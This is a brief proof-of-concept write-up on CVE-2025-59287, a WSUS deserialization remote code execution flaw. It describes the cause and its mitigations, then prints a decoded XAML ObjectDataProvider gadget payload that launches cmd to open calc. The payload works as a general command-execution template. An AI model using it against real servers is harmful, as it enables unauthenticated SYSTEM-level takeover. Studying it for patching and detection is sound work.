PoC code for Microsoft Windows Server Update Services (WSUS) attack CVE-2025-59287

CVE-2025-59287 is a critical RCE vulnerability in Microsoft Windows Server Update Services (WSUS), caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method. The vulnerability allows an unauthenticated attacker to achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint. Permanent mitigation requires replacing BinaryFormatter with secure serialization mechanisms, implementing strict type validation, and enforcing proper input sanitization on all cookie data.

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CVE-2025-59287 WSUS Unauthenticated RCE | HawkTrace

Poc Decode Payload running calc.exe

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<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>